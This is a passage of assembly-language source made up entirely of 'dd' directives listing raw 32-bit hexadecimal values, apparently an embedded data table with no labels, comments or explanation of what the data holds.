dd 443CC83Ah, 46B52CD0h, 1030211Dh, 399EB2B9h, 85A20824h
dd 1CC86191h, 4A2C8B44h, 7408E58Eh, 1CD38885h, 5D2208C4h
dd 11BC4716h, 462155FCh, 311BD662h, 852F08F4h, 0E8C8BF91h
dd 0D2C1844h, 21E0428Eh, 1AF66201h, 0EA08D031h, 62846642h
dd 44C86719h, 8E4B2CD3h, 0BC21B442h, 31189B62h, 85A508ACh
dd 9C21C7B8h, 61B18E10h, 84941817h, 4AC87742h, 602288E4h
dd 16E22316h, 49888010h, 741CCB59h, 0C4324284h, 6C6215BAh
dd 220B1B11h, 47209AA3h, 23082078h, 6014E05Eh, 65F21029h
dd 6D1490A1h, 21179062h, 727964DBh, 0BC4114Ch, 88135111h
dd 2CAD4444h, 3C428E3Ah, 23649621h, 7F112C72h, 120E110Bh
dd 0D04E2888h, 1811F7B1h, 51428414h, 6710A3C4h, 2C3A4478h
dd 0FC228E8Ch, 0CE234254h, 0EC88717Ch, 0E62D0C44h, 0F508DC39h
dd 5C846442h, 11D4620Eh, 45230BDEh, 0C788C490h, 310DB25Bh
dd 85B008B8h, 0A8C84291h, 192C9944h, 9C210C46h, 2B28210h
dd 7C91992Ah, 0C50818C8h, 890C5DEh, 8A5B5929h, 8B9DB08h
dd 0D73942E9h, 946D2317h, 2B212E80h, 31073762h, 14174274h
dd 21204716h, 63FD0870h, 601C0951h, 0C4E64284h, 546205CCh
dd 230BCF11h, 885090B5h, 1C9E59B8h, 0A1428440h, 6203C5C4h
dd 0B8A113Ch, 3090AE23h, 7F527388h, 0E88D0C91h, 5497F584h
dd 0F664596h, 0A3052024h, 8080964h, 79D5D742h, 323432E1h
dd 1E881819h, 2344E970h, 7C7A684Bh, 9FC15B90h, 803574FFh
dd 0BFA4A430h, 0E12CE690h, 150320A1h, 1E64D0B8h, 4012FEDCh
dd 42B2CEBBh, 3BD4E6Bh, 0C447BC93h, 36FAF88Bh, 0F0F6F349h
dd 7CC7662Fh, 0F024742h, 9A574769h, 0FD09772Eh, 3EF4655Dh
dd 341932B4h, 749A7464h, 1599100Eh, 50BD8F2h, 0FEA45379h
dd 0FA5E4A6Dh, 5912AB34h, 382F8AAAh, 91012DBFh, 0E03B3016h
dd 15A157A7h, 0FC7A16Ch, 8AF05315h, 1D684859h, 2D47A411h
dd 347DE59Dh, 138186BEh, 8B539868h, 5DF31259h, 0F8C560EBh
dd 9D9F1C75h, 368D0895h, 0DA8B1443h, 2233B02Ch, 23C8B7BBh
dd 3426E9C6h, 88C294DCh, 61C52253h, 1BB2314h, 21177C14h
dd 49A464AEh, 5685298Bh, 0DBF78A5Ch, 2270443Ah, 69E8148Bh
dd 0F03E3241h, 3C25E8A3h, 0C74A7ECBh, 2288C947h, 2AFC7BACh
dd 3435E184h, 0BA793061h, 95E90C84h, 1C8BEF33h, 765D5811h
dd 6A0D5C62h, 9F28FC09h, 0C501452h, 44116323h, 0E7B92D7Ah
dd 5669AAFDh, 5224E290h, 0E96C885Eh, 0A6294224h, 32B8C793h
dd 44081143h, 0A897423Ch, 0A432A68Dh, 21542C20h, 819A56D6h
dd 930B7E97h, 13C5B120h, 49673235h, 0D4822C1Eh, 503DB162h
dd 68386136h, 0D9722054h, 492C88ABh, 96E47F14h, 0D5525BF8h
dd 81FEB77h, 8993716Fh, 0B095657h, 52A267E3h, 0D3870525h
dd 5C3E8978h, 0D888093Fh, 0B970D834h, 0A60CEB80h, 5206FC7Eh
dd 0AF928A82h, 0C9CF7C81h, 37CA62Bh, 5FE9DF75h, 0A47F55DAh
dd 0E812C50Bh, 0BA9D253Dh, 0F896121Fh, 0A1206DAh, 0B75A4473h
dd 0D1F91630h, 33EEFCC4h, 0D5F4219h, 0E7DEB77Ch, 5F1200A4h
dd 67A48EACh, 9644E818h, 21C5C857h, 0BC4217ACh, 0A457F21h
dd 0E94432C4h, 30AA27E9h, 60B6E8CCh, 5996E1BEh, 0FC3C8AFh
dd 10B8E14h, 60A4E175h, 20641273h, 1994627Ch, 0B781E108h
dd 81086411h, 9D38C033h, 0A10F7812h, 22FF950Fh, 0E495082Eh
dd 0EE782127h, 3BEF7C0Ah, 0B84E5991h, 39288262h, 57228B9Dh
dd 0EBBE24E6h, 0B8131098h, 88525B38h, 0FD430CFh, 0BC04E4E9h
dd 0A5CA51E8h, 129EE65Bh, 0CEA26011h, 52080CC8h, 42C4455h
dd 7828EFFCh, 0D411EE43h, 953EA61Bh, 98887CB5h, 0F22D8951h
dd 14787A76h, 130B86F0h, 1C514868h, 5A222F25h, 1B292A29h
dd 0DD8C5083h, 0DB8C955h, 12BF4E1Bh, 66A332B9h, 39436B31h
dd 2BB46B1Dh, 602CD98Bh, 0D2CC7AFCh, 0A97F506Ah, 0D8FA4B70h
dd 13D86C92h, 94F9D880h, 7290427Ch, 8C5F2730h, 3D588535h
dd 200EF511h, 225C4218h, 6042810Bh, 7E722614h, 6545845h
dd 60B53E05h, 0E3895173h, 241AB554h, 37965D6Eh, 1F5245FBh
dd 4F1AEC50h, 451C5969h, 420D0E40h, 21482054h, 5442FA68h
dd 0A13318F9h, 0FAA33F8Dh, 8F449C7Bh, 0F104B80Bh, 890CFA74h
dd 49682BCFh, 45967101h, 9F83317Ch, 26090571h, 88173F0Bh
dd 10C27179h, 27E345Eh, 5DF40B8Dh, 0C9F7FFB2h, 1E26F3F2h
dd 0EB0F5C7Eh, 932FDD34h, 1F1E64D7h, 9D1406EBh, 31D06A08h
dd 0BCCC3DCAh, 37A6841Bh, 3A95A5AAh, 1E332044h, 800F38E4h
dd 428452D3h, 0A2BFF130h, 4FD0A10Eh, 0B0A5511h, 26154FCAh
dd 54B0096Eh, 0AF75051Ah, 34D5B5A4h, 86811003h, 51242C3Dh
dd 7562CF7Eh, 78567192h, 5F7F084Fh, 84018F57h, 0E9053021h
dd 5756B01Eh, 5C52C4F6h, 20C5484Fh, 0FD00B0FBh, 0A4285A27h
dd 0FFA85D0Eh, 1F8CC9Ch, 73889022h, 56629F09h, 3C6A0B10h
dd 0C13B5909h, 8D4A0576h, 3A230D16h, 3659647Ch, 74B84B94h
dd 0B3995D0h, 20445934h, 0A88D8314h, 0D95728A2h, 0AC891391h
dd 0F84427E8h, 8B0C8108h
dd 83570E82h, 0AC82D8C0h, 92EE5AEDh, 26C9107Fh, 339E5E3Ch
dd 75A83935h, 1A79EBDFh, 8EC819CDh, 0C96B4100h, 0A5EAFD3Ch
dd 0AF258D43h, 4061B10h, 1E54840Fh, 77CF492h, 7D89E03Bh
dd 30787420h, 0AE233F3Ah, 7889B72Bh, 12E4C4FAh, 5F5BECE8h
dd 4AEB6839h, 0D662F87Ah, 0A27C36ABh, 4FE9B844h, 9D8CF4D4h
dd 19B4015Dh, 2101A75h, 0C4BB1208h, 4917E25h, 5434F28h
dd 31FFFC0Ch, 7F5F08F0h, 0CA6BD2E7h, 0BA0C8F24h, 508A3ACCh
dd 63573C85h, 2566A9F6h, 1805C687h, 7421A0CBh, 0AEC6C9A5h
dd 0AC50E044h, 0B78B808Dh, 0ECF4956Eh, 74096268h, 7C4F0854h
dd 50306A42h, 2B40712Ch, 828F88Bh, 6128718Fh, 8804FB73h
dd 227E2F5Dh, 1E1C6ABCh, 0D17815C6h, 711830C8h, 4845FE3Dh
dd 0F0EF82Fh, 3BC04DBEh, 0C7DE7CCFh, 3076CDAAh, 0CDD28C9h
dd 0EF2B732Eh, 887FE820h, 0B09E4CB3h, 5F633265h, 0EC9F82F8h
dd 0E8885FD2h, 5AC9C55Dh, 8184368Ch, 1384070Ch, 81544F8h
dd 0B02219FBh, 2BEB2BC4h, 8C9F2BCh, 7507A4DCh, 0DFF15003h
dd 2C3E04BEh, 59473282h, 9D88C804h, 0B8978C08h, 4F1CA18Bh
dd 108EC428h, 50B526F1h, 78158D47h, 1122ACCDh, 32900C64h
dd 0AA51258Ch, 844ECF28h, 5554C92Ch, 7E010871h, 84D4294Fh
dd 0FA2CFB98h, 8DDF7886h, 0DCFB9808h, 234E4822h, 0BC42EC59h
dd 3CE910FBh, 1A0A97D2h, 0D9ADC2BFh, 388DBCB7h, 7877E098h
dd 0CC292777h, 0BB3C797Bh, 5C2C0875h, 0BFE5712h, 2318246Ch
dd 14C80310h, 167FA61Ah, 8D3041F4h, 43023044h, 8D68DAAAh
dd 56C1BA42h, 0CD4C3868h, 34534FFCh, 0CD8DF1BAh, 0E8838428h
dd 31EF5954h, 52E48E6Ah, 9B29450Fh, 8D2411BEh, 41F947D2h
dd 3CE7B2DEh, 11989C27h, 0AD4B0FFh, 362C67E8h, 0D6180F15h
dd 0B880E744h, 73FD90AEh, 9266850Fh, 2B3A5681h, 0AD3558F2h
dd 4B20ABF1h, 4E4BCB90h, 53F5BA2Dh, 0AF11773h, 1FE4172Ch
dd 2258AD21h, 2833B112h, 18F32A1Ch, 3C5B461Ah, 88F4212h
dd 58C8E151h, 4C743509h, 42862700h, 0BFE19F58h, 0B827C8C3h
dd 88FA56A9h, 2154582Dh, 15082B6Dh, 98217458h, 0E1F89C27h
dd 0E9111879h, 0BEB82A01h, 226B9488h, 22FC78EDh, 6C3957C9h
dd 2BBB0E42h, 7F6AF982h, 701A38C5h, 2971F72Dh, 0E8B51A3Eh
dd 0F9CF020Dh, 0B831556Ah, 1B4762FCh, 3E4380BDh, 2AC2705Ah
dd 6C540C84h, 99847806h, 0D91849F8h, 23844DC8h, 0A56251F0h
dd 0C47BD64Ch, 43E82C74h, 43AF08FBh, 0B747941h, 78511988h
dd 0F2E9B384h, 0C42EB31Bh, 0EC33FC88h, 0E6122B50h, 2531564Fh
dd 0F514F124h, 48F0CDBBh, 7A8A30C9h, 3FC768BAh, 0B2FAC8EFh
dd 462C204Ch, 3ED68AA0h, 1818F868h, 0D1ACE819h, 0AC45F14Dh
dd 454CFA16h, 2C6AA134h, 943453Bh, 47194930h, 0E606541h
dd 109E4A7Eh, 58A7F9F8h, 71F8F767h, 4BAC0110h, 28802408h
dd 181D85F1h, 7B368461h, 46283C40h, 4CD0E1F1h, 1A1AF911h
dd 0CCF13810h, 0F5682BF3h, 0CC10DD73h, 6942C5F2h, 91F31228h
dd 2E28B208h, 9D41FC2Ah, 0BF11F4D0h, 34BD2D55h, 0EB917D4h
dd 6424A192h, 0AEA214EEh, 16E7FFF8h, 0DC1FA820h, 683D9EF4h
dd 629A2F08h, 83215A72h, 1DD89455h, 0F1F08D0h, 8405D2B6h
dd 104E9BD6h, 4C84F4E0h, 0B44823F2h, 7868AB21h, 90379204h
dd 9BA6F4D4h, 5713E432h, 8C213D4Eh, 82BA124Ch, 3D4E5600h
dd 426F1540h, 0CC807E4Ah, 480885F4h, 0BBF762F2h, 0F4CC2334h
dd 0F1083871h, 0EC840146h, 89EB32F4h, 0C818E015h, 445582E5h
dd 68062AFFh, 0E648247Eh, 67F6E238h, 32C810A4h, 85110F08h
dd 48A2E748h, 0CD67D3C4h, 733FBB2Fh, 0D0252F9Ah, 108E9AE7h
dd 0B7E5C4E7h, 0E1952C4Eh, 91044BE8h, 11E7CC62h, 0D5484ED6h
dd 8CFCBB44h, 888A0B6Ah, 0C5754949h, 0E729E7C8h, 2F0CE5F9h
dd 0C8841846h, 33232BE7h, 9066FBA7h, 4E74844Bh, 0F8D3CAA9h
dd 93D13073h, 4B4EE956h, 0D4103CF4h, 0EB14E742h, 3884FEDEh
dd 0B00872E3h, 0AEE3B8DEh, 66F821FEh, 0EEE43888h, 0B8881034h
dd 0D5E6FE48h, 206A3227h, 1011E549h, 0E72AC402h, 648C0865h
dd 0EAE548B8h, 0BCC80FD4h, 30186079h, 42C7E344h, 10857E4Dh
dd 4879110Ah, 28E334C4h, 0C10DF530h, 34101A10h, 8E35ACE3h
dd 4B4B6875h, 4865032Ch, 0CEE10F4Dh, 0C2BE7CD0h, 6D17C4E9h
dd 0E5C00812h, 44DCEB42h, 0B7EAF011h, 654ACA46h, 5290F931h
dd 493F5392h, 81BEBCFh, 0C8F44022h, 8B8BDA3Eh, 984016B4h
dd 4A126B1Eh, 273F6E7Fh, 337565BDh, 0C7592491h, 0CCEB13D7h
dd 5DA450B0h, 985A3EA3h, 0C8C419B2h, 4CC1214Ah, 2517200Eh
dd 2F304776h, 885EBCCh, 5862EA70h, 91F96DCAh, 4478B8EBh
dd 0EE496A4Ah, 0EBD0A1F8h, 6424E908h, 0E861E3EEh, 612E51B5h
dd 8F94001h, 2C2EE1D9h, 0F743B87Bh, 0A8459E34h, 4744B8E8h
dd 0F7B410F9h, 31F8B884h, 0E4635171h, 0A40AB996h, 4A6609BFh
dd 45C2CC5Bh, 0D401C51h, 20464286h, 85F9E638h, 62F7B408h
dd 23341444h, 0E870F938h, 0E3618849h, 614645B7h, 94F144E9h
dd 251F98F1h, 581B9A2Ch, 0BC345A1Eh, 1D1FCD15h, 5C849622h
dd 0CE9F1149h, 0E91370A6h, 682346C2h, 34FE2B3Ch, 46B09349h
dd 0DE3FDFC0h, 5C71E8F3h, 60C4C3F0h, 10445ECh, 696B1A08h
dd 74F46E21h, 0C8BBAF20h, 0B550AEB7h, 0F441ACCh, 0E8ED4464h
dd 274AD137h, 89CB5B19h, 0C454EBE0h, 59A92C51h, 0EBDC895Bh
dd 0EE92165Bh, 43704B73h, 72424013h, 48D7C24Bh, 0ED88584Fh
dd 11B714Fh, 506D452Eh, 28EE6884h, 11EB43DCh, 3EA686B2h
dd 88F2B5BFh, 1A7048A8h, 87248C4Ah, 74D067CDh, 725086EEh
dd 599F4415h, 7A5EA581h, 254A6642h, 0E80F16B5h, 145733A5h
dd 66893B10h, 0F149D98h, 0EAB639E8h, 82FA1044h, 0FB7E0905h
dd 55A1320h, 0A0DA7137h, 769838ABh, 0BEF88B49h, 0B02EB21Bh
dd 0B590B62Ch, 6284B252h, 0D19553EEh, 573C3B79h, 0D16DE94Ah
dd 0CB8197A5h, 1D114870h, 10FF04E4h, 6B290B64h, 0DA762553h
dd 4DA60549h, 0ACA484B8h, 0F5808699h, 0DFBCAA99h, 4F966CCEh
dd 223BF3D9h, 778F847Ch, 9F8A789h, 2C314DEDh, 3868C65Eh
dd 432C5BFh, 0A4F3BC49h, 0D090B9ECh, 64F4D016h, 0D4ED12F2h
dd 105CB668h, 66E95EF7h, 5F314B44h, 0F71B4E24h, 573261C4h
dd 3BC95D73h, 4347F11Bh, 38485E11h, 216B25Ch, 997B4313h
dd 0C25CBD25h, 72547A8h, 5CB299D4h, 2B1401A3h, 271F5068h
dd 0DDF3E28Fh, 0F123179Eh, 4684864Bh, 0F3A628C6h, 92853D79h
dd 0B5C5A883h, 3B45ABB6h, 3121CD7Bh, 95C90C8Dh, 51293AEDh
dd 5FA701CDh, 604BDDA2h, 0E42D02DAh, 0C4E7B4Ch, 0D71A147Eh
dd 0BBEB6989h, 50DF2B03h, 14680C9Eh, 0B824E881h, 2C4022A4h
dd 2BE94059h, 0C49BC5C8h, 47AB2C56h, 1C2B1CC5h, 0D2714738h
dd 0F45FAEA1h, 0C684045h, 55278832h, 56B8B6BAh, 0B3AD6F74h
dd 1746E262h, 165F9809h, 0E0681490h, 0BC212646h, 0AA12186Ch
dd 13C405A6h, 138D132h, 6CA18E0Fh, 23028CE4h, 0E9BDA803h
dd 0C2A2AA0Ch, 853724D4h, 79952253h, 0CF2C17F4h, 0A9906858h
dd 6C16691Ch, 99AACC52h, 0BB0C5A8Eh, 8A2C4B5Fh, 761B5748h
dd 0A759FA4Fh, 0E6159D3Ch, 1E97C490h, 1799E902h, 0BE2F9CF5h
dd 54856951h, 2674884h, 14306564h, 86A797EBh, 0E3C47C10h
dd 70B82745h, 43841AD4h, 1AC2C435h, 5917212Ah, 5AC1511h
dd 0F8AD4C8Dh, 58C2A364h
dd 5413DFE9h, 1A82C2A8h, 3F88A945h, 37054B4Bh, 4814EAF3h
dd 1944A261h, 890F285Bh, 4A00240Ch, 4B8A99A9h, 0F8AC6789h
dd 0C40A3971h, 102A4A8Eh, 0E04A1D88h, 0ABC21496h, 6EFF74E9h
dd 824EE12Bh, 0A64ABD10h, 19E9282Eh, 714A5662h, 520FDA2Ah
dd 0C8CC713Bh, 6BA65625h, 1DB22342h, 8945E430h, 95280A09h
dd 54698145h, 48802A0Fh, 7945D82Fh, 1CE58AD5h, 12A8110Eh
dd 0F7EC20E9h, 6FA1E749h, 0C4120A48h, 9CC562C2h, 14B03599h
dd 499E8505h, 0AE55398Ah, 0A24B3B37h, 28AAD276h, 5BDF8325h
dd 2475745Bh, 888AA122h, 0F8E208BFh, 0EA458218h, 0A66FD4Bh
dd 0E07AF07Ah, 20283197h, 4946A018h, 0CB0B1021h, 97051C18h
dd 0D6B74519h, 5771195Eh, 2A606942h, 41449103h, 76D7B0BCh
dd 5393E92Ch, 8A216E18h, 72B27C90h, 8832463Eh, 7562A55Dh
dd 620A5624h, 0C191114h, 3DE92120h, 0E5C1AB42h, 48F18B92h
dd 96E66CDCh, 0E892802Bh, 2C9F5F80h, 4442E4B6h, 0CDDA043Ah
dd 64EF69FAh, 0C524B9h, 0B2EB622Ch, 0CCE59734h, 5679143Bh
dd 0AC9F2252h, 8B38B3B5h, 39B55650h, 5C42A988h, 855B5F22h
dd 0C4AC1082h, 34234282h, 0E91AC1FDh, 684F9C94h, 6C45166Ah
dd 82E0812Eh, 33D3A01h, 242EC82Eh, 9BC53AC5h, 0F392A3E8h
dd 13F88B12h, 44F0270Ch, 9A2553BCh, 94B7F147h, 4C77593Bh
dd 585A791h, 1C628B49h, 212BB67h, 0E528C32Dh, 0EB0BBE23h
dd 76CD542Bh, 2D1A9429h, 0FF3591C4h, 7DD11EF0h, 17084956h
dd 488D642h, 0D141AC62h, 0E3D58865h, 43D06884h, 0DD9ACCD3h
dd 4792039Ch, 47511016h, 2B4F7DE3h, 9C990AF8h, 5A0C168Ah
dd 0FCB9125Ah, 83BAE4E1h, 8D169020h, 1A0F4AEBh, 79621464h
dd 62AE8186h, 143E5452h, 0F446FD24h, 27B12B51h, 2E89F94Eh
dd 454747E2h, 5143421h, 64444A6h, 0FCC65989h, 0A123D637h
dd 9E396219h, 0D309940Ah, 897C5915h, 67E4E7DCh, 27598C26h
dd 65967C5Ah, 5C1D0512h, 1458E2E8h, 0D1A5596Fh, 16957D2Fh
dd 5958277Dh, 0D8895F7Bh, 2DF4CCE7h, 34B1E960h, 0FD71E664h
dd 1042D842h, 18B64061h, 16011459h, 84FD393Bh, 0D828E95Ch
dd 5211E743h, 0B43EA6ADh, 0D6EDD618h, 4002231Ch, 0D0E22B08h
dd 6486E968h, 8B532B16h, 173E4810h, 6E894FB6h, 37E97F85h
dd 0FE9025FAh, 10917D34h, 3334035h, 8BF9BC2Fh, 17BAA965h
dd 0E579F9A5h, 0B67765FEh, 44FC1230h, 842D3AAEh, 57214224h
dd 0C101B3Fh, 5E40883Ah, 0F9B61A2Fh, 0D8227E83h, 0F4D93F41h
dd 5F6285F1h, 458B7CC2h, 286DF318h, 0A862F608h, 0F90BEB57h
dd 86DE8856h, 442F2354h, 0BFE0C308h, 1450163Fh, 6A2A416Ch
dd 9846FEF0h, 57C62690h, 41705881h, 10DEFD86h, 96953E85h
dd 75AD69E0h, 1B88861Dh, 8CE96217h, 572D218Eh, 0C551DA3Bh
dd 2D172714h, 57F6E118h, 0EC113978h, 45373440h, 220AA810h
dd 0E8575E2Dh, 0C274F2CAh, 0D3E3DDD6h, 823468BCh, 7808B565h
dd 3DF74240h, 573E880Dh, 0A128BB83h, 2D1B510h, 28F95234h
dd 84CEEB84h, 755F0400h, 0D51112D8h, 1C2C8Bh, 0FC3D5616h
dd 28B04712h, 88E98999h, 555D152h, 0BE8F2AB2h, 55FE4C51h
dd 3FD4CD02h, 28DF8923h, 440A9C67h, 72F8A7Fh, 3CB8F2A2h
dd 9648BE0Fh, 24156428h, 424AD551h, 7E7342CCh, 47125C08h
dd 4A71F8BDh, 0A5D925AFh, 17AC9AE5h, 0D1BD9E76h, 1C8A4C26h
dd 0F6D8E914h, 4281214Bh, 0F85BB88h, 764B2C72h, 546825C6h
dd 5B2EC8EDh, 37C8B6A5h, 0DB191555h, 0B214E557h, 2D15364Ah
dd 2353525Ch, 0DC441A38h, 42113031h, 98160135h, 199850F9h
dd 41EF2BE8h, 8896B82Bh, 0E925B498h, 62BAEC2Ch, 8B425045h
dd 0DE4082E8h, 0B21EC7B0h, 0BD6438E4h, 14BFC89Fh, 0DEFB883Fh
dd 3E191EB9h, 842FE715h, 5ACCAB95h, 170088Dh, 0B5106CEBh
dd 4983A3A2h, 0C55F8DE8h, 0A23835E0h, 0DE7BA962h, 3EA050A5h
dd 6086418Ah, 604A13DEh, 99E13FE7h, 31101B14h, 0D64899h
dd 7220FE83h, 4A3CE98Fh, 0BCD661BAh, 437B1C10h, 10A78541h
dd 474121A7h, 341C2CCAh, 574A7BA0h, 0F650BA9Eh, 0AF78B13h
dd 0BA341216h, 0E5F92767h, 1DD915AAh, 173DCC10h, 6B9C6E9h
dd 0A205B84Bh, 9419A4C0h, 996D0953h, 20617B4Ah, 0A0DB853Ah
dd 0B9F976EEh, 0C314083Eh, 82400ABAh, 5CB95D9Ch, 0FA4CCA3Ah
dd 0BC18300h, 0F6751938h, 882832D9h, 20558910h, 0BA584BFh
dd 278B1988h, 0B854B8C8h, 7DF79980h, 0BFC10308h, 5133A398h
dd 21A1B4BFh, 80F83ADEh, 42069C13h, 0C34A54E9h, 0C7D13CFCh
dd 0A19A257Fh, 901591F5h, 94910721h, 0A188B422h, 8FBE4174h
dd 502BBF14h, 47E6F6B9h, 2D05D84Bh, 5BFD3E92h, 42AF0C8Ah
dd 0C1553CC7h, 5F7FE677h, 0FDF92357h, 176EB66Bh, 0FAE25E18h
dd 0F291758Fh, 0BD441D56h, 0DA5E34F8h, 55A084EFh, 5F2108CDh
dd 11F03B7Bh, 0ECF55581h, 62FCA4DEh, 0F8E1DC5Eh, 0F6D212BFh
dd 0D8DB6BDDh, 8B18C5AFh, 0FEF2B589h, 3EE1E817h, 5B6267BFh
dd 78FEC0F2h, 36B73D4Bh, 0BD11172Ah, 0B923F794h, 0E706173Eh
dd 4218F8D2h, 38F7113Dh, 1E33ACB1h, 0DCD463B2h, 844E48D8h
dd 42389821h, 67991A75h, 0C54C3356h, 659B1134h, 2695CC11h
dd 0B132483h, 7F382849h, 2D4EB206h, 0B6CEE917h, 0EBB01CF2h
dd 0C82C68AEh, 0B8C203Ch, 160439DEh, 0BC3538E8h, 1605A4CAh
dd 2DBCDDF5h, 0FCAF7088h, 0B05749EBh, 95EBD855h, 3D49AAE6h
dd 120F8A40h, 0D046DDC9h, 96C4C5B5h, 6089BE05h, 0ECDC408Ah
dd 4E479132h, 0E25252EFh, 0EDE8C4D4h, 9DC753FCh, 130F9AE4h
dd 3EEFA2D4h, 4FE844ECh, 0EC13846Fh, 4D04BD0Ah, 33B88674h
dd 0BB4713A4h, 486E0FCCh, 4E28937h, 7E322302h, 0EDE0C263h
dd 0EBD42114h, 0D06B8488h, 0C28DEDE0h, 0FE223C48h, 5CFC76CEh
dd 0BDDCE120h, 74126665h, 48597EF0h, 0D9DE423Ch, 174E1609h
dd 0A105EBF0h, 14C24850h, 252AB8B5h, 9142F9F4h, 940F1E04h
dd 0E6252564h, 117427B2h, 0CA9A5A66h, 0C936AE22h, 72D92B70h
dd 7A1D5EAFh, 7C99B050h, 8EDC4EBCh, 555424E8h, 0F3CCE2F7h
dd 0D2356D11h, 0CB5CA07Eh, 0BBA92FFBh, 56881790h, 0BB8DDFA5h
dd 0D2466930h, 4484FDBCh, 0B54023F1h, 0A88454A2h, 0FCF8223Bh
dd 9DD72A01h, 0F3CC6F38h, 0F9DCBD88h, 0BE847816h, 2FB9565Ch
dd 4FE6783h, 44427818h, 33835F9h, 0B530AE80h, 0F4D8C8B0h
dd 0F1400885h, 345A9662h, 59F4D821h, 0F8160A41h, 1368CB3Bh
dd 0EBCB359Ah, 25B90311h, 4087FB57h, 0DB76E956h, 898D959Dh
dd 1477D0EBh, 0A108FA82h, 8828BFB6h, 8107EB12h, 443272B8h
dd 5E89E96Fh, 0A95613BAh, 535BA18Bh, 4B111h, 9EC47CA1h
dd 0F51A47C3h, 9E39AFD0h, 0C9173BE9h, 1F072E08h, 0A1409421h
dd 0E814D0B7h, 0ED18194h, 6815C22Ah, 0DDEC2908h, 0E9F15261h
dd 5E6ED6E6h, 0BB71B7F3h, 0B45831FCh, 71088D3Ah, 3E1A680Dh
dd 0A97D4513h, 4856A363h, 5D63AF37h, 0A75BE2E9h, 9010CEB8h
dd 937ECA31h, 29544814h, 0B4F2B21h, 0AF3B7D88h, 7784387Eh
dd 39D82405h, 34517049h, 61B9095h, 0AD5CD3D7h, 76C9F187h
dd 2E02A311h, 1D9052F2h, 48A524F7h, 0CF838F86h, 3479EBF7h
dd 495A654Bh, 68030929h, 0C74E3957h, 0BF7E4DF9h, 46304E5Bh
dd 2073C73Bh, 0BCA18309h, 9FD36ED4h, 0F189BAE8h, 39AC6101h
dd 33BA1143h, 5CF82438h, 1B2C3EE7h, 3F9041F7h, 8F1676BCh
dd 0E1CFF908h, 0F67C6569h
dd 4FA478A2h, 0D5D7526Bh, 16D3D9C4h, 3062F91Eh, 28262E26h
dd 0B1C76240h, 68630BF6h, 7F9AFC44h, 0C20BF210h, 75B1A8E9h
dd 945E6B96h, 8CC564A2h, 6672EE38h, 1F901970h, 0B75E9E49h
dd 31CC5869h, 1B740D18h, 0C570C63Eh, 36F8E813h, 18492CAFh
dd 0AE47FD46h, 0BD8B0821h, 403C1C32h, 2D42721Eh, 0FDE61420h
dd 0FC900885h, 413DFD61h, 0ED3E6B0Fh, 625F48A4h, 5E1138B8h
dd 33A4F415h, 0FD96D546h, 2B1E8DAEh, 88849123h, 43E06838h
dd 0F617690Ah, 2CE878F8h, 0F7B889B5h, 5E5CBD32h, 0B6D426D3h
dd 3C324E7Ch, 85C69EBEh, 25AB5C68h, 89E52DEBh, 158B3C62h
dd 222F6F14h, 8FF1F530h, 0E9181C40h, 0E10670A4h, 90A2A832h
dd 0E9101CA3h, 3DD9AFFAh, 6A9D880Eh, 3496CBF5h, 9D29EC38h
dd 37316E10h, 1A7D30BDh, 3574B550h, 0CE8BF5C4h, 1277BE27h
dd 0EDE8946Eh, 0A4221A4Ah, 4F2E8ABh, 714187A9h, 12E627F5h
dd 83D8F678h, 6C32F37Ch, 31045898h, 1CC4B991h, 0AF2BB904h
dd 14F6EC72h, 84F57021h, 6840B18Ah, 0B8C28DF6h, 7292237h
dd 0F6802134h, 93AF2CBEh, 828D70F8h, 0E961B28Dh, 124CEADEh
dd 9C4765Ah, 42FCD328h, 35D1C4FBh, 0F811BBDEh, 9184CEFBh
dd 1D5188A3h, 0A667612Dh, 203AC5A5h, 44489D34h, 91E54059h
dd 965B8034h, 68991098h, 10375462h, 1913003h, 0B8041FC4h
dd 7CBADC2Ah, 0F884FC42h, 4EC437FBh, 4D977C68h, 3708C2EDh
dd 6DEF9D22h, 0FC8C08ABh, 5BD1C763h, 0CACBC4F1h, 36DC103Dh
dd 0CF2F8085h, 822C53Ah, 90345EE3h, 0D4A3FB6Fh, 38850D17h
dd 3EA99C78h, 0E4841A42h, 0E9242007h, 5A478A52h, 0DEE42717h
dd 885F9931h, 22E434D2h, 0F3369005h, 7691657h, 102A1199h
dd 5788120Eh, 6A0012A6h, 54E958FEh, 78EBCAADh, 5F406429h
dd 0D11B485Bh, 5638C23h, 2844F95Fh, 30472232h, 4101E21h
dd 33C00188h, 4D11E9C0h, 0E3F102ADh, 0E91B514Bh, 0BDF23A7Eh
dd 684107D6h, 0D56C9DF4h, 0EB0B8AE8h, 1BC41513h, 15082D84h
dd 544EA6CCh, 82B58C4Dh, 7BACB1E9h, 3390C2C9h, 31EEEF16h
dd 48761A48h, 14CB13FCh, 3B64DE41h, 68C46AB8h, 17009833h
dd 766D02BEh, 0EBB9612Fh, 64A560DCh, 76693094h, 36807189h
dd 19682F7Eh, 10FA84D2h, 5FDFFBE4h, 0FE0B54Ch, 4E1A52E8h
dd 246A6468h, 7B0B0992h, 0D00875E7h, 2D84427Dh, 3911401Ch
dd 971C08F3h, 7573F9EAh, 62FBE088h, 4D347F42h, 80BC7F78h
dd 4BA93544h, 0E16CF203h, 4C2BAB90h, 0E8417842h, 57312627h
dd 227450B3h, 5C154284h, 0E979D7F7h, 42B84A28h, 5A4E3243h
dd 4C5165CFh, 8D47517Ah, 78B768B8h, 0F5C348Ah, 0A7309908h
dd 0FB17344Dh, 80197D3Ch, 0FDAE273Ch, 23543694h, 16FA44A0h
dd 34E022FDh, 97E20925h, 0AF8F0D27h, 0FF4AE2F1h, 2402A1C2h
dd 16CDCE0Ch, 9D055112h, 53A23163h, 0A85A7C3Fh, 367D03A7h
dd 9820558Bh, 9E1C1C8h, 11348D07h, 1C0304F7h, 0FA87C4FBh
dd 0CC10CC9Bh, 1E88022Bh, 0F4C3B9E9h, 5178946Ch, 420BA22Ah
dd 95972238h, 7E2735F1h, 2FB8E21Dh, 0B0F1139h, 2967E9E2h
dd 0DB3EDF9Ah, 55E96088h, 0DF9BC35Fh, 3A41772Bh, 27D938FBh
dd 0D379B95Ah, 8CB41C75h, 95798410h, 0A78ADB9Dh, 88C214FEh
dd 4F12081Ah, 8539F292h, 14290387h, 0E8AEA1C2h, 836288D7h
dd 58E0242Fh, 0A94872E9h, 0B4EFF415h, 25D35D2Bh, 513A73BAh
dd 7899FEE4h, 69E8D718h, 0E97014F1h, 8B8EDCBDh, 0CA0D4653h
dd 33FCF01Dh, 0D81A1D91h, 48A95D17h, 0BF8719A8h, 0E62EBA96h
dd 4B74152Bh, 505785E5h, 56D4ED28h, 0F2139533h, 0DF2CAF02h
